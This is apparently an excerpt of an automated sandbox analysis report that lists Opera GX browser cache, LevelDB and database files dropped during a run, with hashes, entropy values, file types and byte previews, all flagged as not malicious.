                                                                                                                                                                                                              SHA1:59D10A893EF321A706A9255176761366115BEDCB
                                                                                                                                                                                                              SHA-256:EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
                                                                                                                                                                                                              SHA-512:F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\DawnGraphiteCache\data_3

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8192
                                                                                                                                                                                                              Entropy (8bit):0.012340643231932763
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:41876349CB12D6DB992F1309F22DF3F0
                                                                                                                                                                                                              SHA1:5CF26B3420FC0302CD0A71E8D029739B8765BE27
                                                                                                                                                                                                              SHA-256:E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
                                                                                                                                                                                                              SHA-512:E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\DawnGraphiteCache\index

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):262512
                                                                                                                                                                                                              Entropy (8bit):9.553120663130604E-4
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5A4FFFEF5EC18B0864C880F1B19F85D4
                                                                                                                                                                                                              SHA1:28774D15F8847A5684ACD50417CC19DC4B79F8A2
                                                                                                                                                                                                              SHA-256:A8A8D00DEE9214D56700B2FAAF73180108FB052E5ECB62402D3B98D1811C777E
                                                                                                                                                                                                              SHA-512:4C86DAE41B6F8420B2D8DA892B8DB41215677958635B3FB26916E49F6F00CA327F0B9A3D403A571A06D7739F875FB4F6E4BF6EABC2AE8ADCDF5394464BF1D0A4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........................................F..../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\DawnWebGPUCache\data_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8192
                                                                                                                                                                                                              Entropy (8bit):0.01057775872642915
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:CF89D16BB9107C631DAABF0C0EE58EFB
                                                                                                                                                                                                              SHA1:3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
                                                                                                                                                                                                              SHA-256:D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
                                                                                                                                                                                                              SHA-512:8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\DawnWebGPUCache\data_1

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):270336
                                                                                                                                                                                                              Entropy (8bit):8.280239615765425E-4
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D0D388F3865D0523E451D6BA0BE34CC4
                                                                                                                                                                                                              SHA1:8571C6A52AACC2747C048E3419E5657B74612995
                                                                                                                                                                                                              SHA-256:902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
                                                                                                                                                                                                              SHA-512:376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\DawnWebGPUCache\data_2

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8192
                                                                                                                                                                                                              Entropy (8bit):0.011852361981932763
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:0962291D6D367570BEE5454721C17E11
                                                                                                                                                                                                              SHA1:59D10A893EF321A706A9255176761366115BEDCB
                                                                                                                                                                                                              SHA-256:EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
                                                                                                                                                                                                              SHA-512:F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\DawnWebGPUCache\data_3

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8192
                                                                                                                                                                                                              Entropy (8bit):0.012340643231932763
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:41876349CB12D6DB992F1309F22DF3F0
                                                                                                                                                                                                              SHA1:5CF26B3420FC0302CD0A71E8D029739B8765BE27
                                                                                                                                                                                                              SHA-256:E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
                                                                                                                                                                                                              SHA-512:E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\DawnWebGPUCache\index

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):262512
                                                                                                                                                                                                              Entropy (8bit):9.553120663130604E-4
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:C696C25F613B991426EC0AAB9E90B8CE
                                                                                                                                                                                                              SHA1:1E6E263ABF209509A06D458114DF6E8BA6704430
                                                                                                                                                                                                              SHA-256:D50C575D1F62D9D3576CCE4FD37F00FBFB31E28131E69798FD6AF35880509DCB
                                                                                                                                                                                                              SHA-512:B84B5F8A7FAE0175139D2B987FD0144EB4335B849D94BEDC996D12148394E5D1D53BB28D69A92C66284831BE4D1FB38C646C67BDE1BC91466E432622A6509631
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............................................./.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Extension Rules\000001.dbtmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):16
                                                                                                                                                                                                              Entropy (8bit):3.2743974703476995
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:46295CAC801E5D4857D09837238A6394
                                                                                                                                                                                                              SHA1:44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
                                                                                                                                                                                                              SHA-256:0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
                                                                                                                                                                                                              SHA-512:8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Extension Rules\000003.log

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):684
                                                                                                                                                                                                              Entropy (8bit):1.8784775129881184
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F93B6A29284B7E38DFD05AF480D25AB7
                                                                                                                                                                                                              SHA1:CDE3C88C5DD5D4E617E8F8157C03D66D730953F1
                                                                                                                                                                                                              SHA-256:EBF65D839A9C2A53AB503763D44C3A0363D3387FAF4F947B5959463833C3B75A
                                                                                                                                                                                                              SHA-512:E2148554C1B5C2B97175E5ADE1FE82B5A08311CE9D736907AC299F99C3580A99458D7FEFC894F4BADBA5921DFDA84F61117E1AE3E57B0063F127AACA6563E099
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Extension Rules\CURRENT (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):16
                                                                                                                                                                                                              Entropy (8bit):3.2743974703476995
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:46295CAC801E5D4857D09837238A6394
                                                                                                                                                                                                              SHA1:44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
                                                                                                                                                                                                              SHA-256:0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
                                                                                                                                                                                                              SHA-512:8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Extension Rules\LOG

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):289
                                                                                                                                                                                                              Entropy (8bit):5.184261093402009
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:310550D1DE7BCB4F6CCFD059DBE39C18
                                                                                                                                                                                                              SHA1:582FB059FB4EA5BA591360218BEA9B6C2E1C0444
                                                                                                                                                                                                              SHA-256:0D86B0B5A383D5E6F164E61DFC06863A7ED5076552229D5986E652A89858AEEA
                                                                                                                                                                                                              SHA-512:241D5AAA6A7F3AD049BF46492457E647AAF74E62D8849EEBF1ED5FBD9A83F15D40263D56B221DB56ED245E48F1357193DF409DC91747FD086A95B512A363A42D
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:2024/10/13-04:34:09.042 1440 Creating DB C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Extension Rules since it was missing..2024/10/13-04:34:09.066 1440 Reusing MANIFEST C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Extension Rules/MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Extension Rules\MANIFEST-000001

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:OpenPGP Secret Key
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):41
                                                                                                                                                                                                              Entropy (8bit):4.704993772857998
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5AF87DFD673BA2115E2FCF5CFDB727AB
                                                                                                                                                                                                              SHA1:D5B5BBF396DC291274584EF71F444F420B6056F1
                                                                                                                                                                                                              SHA-256:F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
                                                                                                                                                                                                              SHA-512:DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.|.."....leveldb.BytewiseComparator......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Extension Scripts\000001.dbtmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):16
                                                                                                                                                                                                              Entropy (8bit):3.2743974703476995
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:46295CAC801E5D4857D09837238A6394
                                                                                                                                                                                                              SHA1:44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
                                                                                                                                                                                                              SHA-256:0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
                                                                                                                                                                                                              SHA-512:8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Extension Scripts\000003.log

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):756
                                                                                                                                                                                                              Entropy (8bit):2.4349061360960143
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:78D8E52D603CF7314C2D09DBD20ECEED
                                                                                                                                                                                                              SHA1:2A7049977ABBD795E4599D7834B1C2A3481E9FFE
                                                                                                                                                                                                              SHA-256:F7ADD3FF1F1746E7752FFDD0596F0E256197B1F51CC43B26AB4A3633EFCF67F3
                                                                                                                                                                                                              SHA-512:A01C97A383DACD4E8EA443ED49452871F0F1B6FFF7C51FD9B3439B58B05E51C76E84F561B5CD5D5A1335483154476998D39F6E9D0C4742F5007041DB4CA213AA
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............)..tA...............0ffeocbomcpokpmjkkloomhnflpjmkjpi.dynamic_scripts.[]

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Extension Scripts\CURRENT (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):16
                                                                                                                                                                                                              Entropy (8bit):3.2743974703476995
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:46295CAC801E5D4857D09837238A6394
                                                                                                                                                                                                              SHA1:44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
                                                                                                                                                                                                              SHA-256:0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
                                                                                                                                                                                                              SHA-512:8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Extension Scripts\LOG

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):293
                                                                                                                                                                                                              Entropy (8bit):5.180227294335874
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:302C20F96AB82ACD5DEC44C555A81C5F
                                                                                                                                                                                                              SHA1:F06F373FB8EB6FB87F820A17F94E01C05F563A3E
                                                                                                                                                                                                              SHA-256:DFF7B124915590A5BB6341F6251D8931829D318EB0D9B944F45654495575FEE1
                                                                                                                                                                                                              SHA-512:A1D6FF0146B3F3E10346830D98734BB106092C09C9CD3FBB9D14033C8BE080A15376A649CCACC6F48E8D503E4ABED70BC963FC6E020DECBE4A06B9D0227227B9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:2024/10/13-04:34:09.286 1440 Creating DB C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Extension Scripts since it was missing..2024/10/13-04:34:09.302 1440 Reusing MANIFEST C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Extension Scripts/MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Extension Scripts\MANIFEST-000001

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:OpenPGP Secret Key
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):41
                                                                                                                                                                                                              Entropy (8bit):4.704993772857998
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5AF87DFD673BA2115E2FCF5CFDB727AB
                                                                                                                                                                                                              SHA1:D5B5BBF396DC291274584EF71F444F420B6056F1
                                                                                                                                                                                                              SHA-256:F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
                                                                                                                                                                                                              SHA-512:DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.|.."....leveldb.BytewiseComparator......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Extension State\000001.dbtmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):16
                                                                                                                                                                                                              Entropy (8bit):3.2743974703476995
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:46295CAC801E5D4857D09837238A6394
                                                                                                                                                                                                              SHA1:44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
                                                                                                                                                                                                              SHA-256:0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
                                                                                                                                                                                                              SHA-512:8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Extension State\000003.log

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2052
                                                                                                                                                                                                              Entropy (8bit):1.8784775129881184
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:17CF91CEBC20145AF217073787DD7069
                                                                                                                                                                                                              SHA1:F172C673BB915B674D2E48ED320A45AAD1051479
                                                                                                                                                                                                              SHA-256:F7CC9EE8B5B8B62540399BE882A30CE64399B68082AE6954D6AF12F64008BB31
                                                                                                                                                                                                              SHA-512:7F53284F042A075400D81CABB00E7F25D1B828BD9382F8CF2B5DCF38511F11CDEE9A59740025E06C30E2D7EAAA3473BCB7722EA591666FE9BAEA9BD6FD903F58
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Extension State\CURRENT (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):16
                                                                                                                                                                                                              Entropy (8bit):3.2743974703476995
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:46295CAC801E5D4857D09837238A6394
                                                                                                                                                                                                              SHA1:44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
                                                                                                                                                                                                              SHA-256:0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
                                                                                                                                                                                                              SHA-512:8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Extension State\LOG

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):289
                                                                                                                                                                                                              Entropy (8bit):5.183525882059408
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:E4086B84F0104C6BB1A7DD977A65B969
                                                                                                                                                                                                              SHA1:5E10BB9D94736A6D6B686D3C5563A2F86EE8CE6C
                                                                                                                                                                                                              SHA-256:3DDA5DEF7D850C8987575D5CF1AC7B6B89E8C0A2C5C16354DB3F513B156F8E6D
                                                                                                                                                                                                              SHA-512:8CFE7A034B2E555BD93E64197C2F8010200297855941CF58497CF69966DAB8F8BC50784E3293FA669704558A0E03417B065E46CF0424C57A68EABF425E0118EB
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:2024/10/13-04:34:21.839 1a2c Creating DB C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Extension State since it was missing..2024/10/13-04:34:21.868 1a2c Reusing MANIFEST C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Extension State/MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Extension State\MANIFEST-000001

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:OpenPGP Secret Key
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):41
                                                                                                                                                                                                              Entropy (8bit):4.704993772857998
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5AF87DFD673BA2115E2FCF5CFDB727AB
                                                                                                                                                                                                              SHA1:D5B5BBF396DC291274584EF71F444F420B6056F1
                                                                                                                                                                                                              SHA-256:F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
                                                                                                                                                                                                              SHA-512:DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.|.."....leveldb.BytewiseComparator......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Favicons

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:SQLite 3.x database, last written using SQLite version 3045002, page size 2048, file counter 3, database pages 31, cookie 0x8, schema 4, UTF-8, version-valid-for 3
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):63488
                                                                                                                                                                                                              Entropy (8bit):5.643805059636767
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
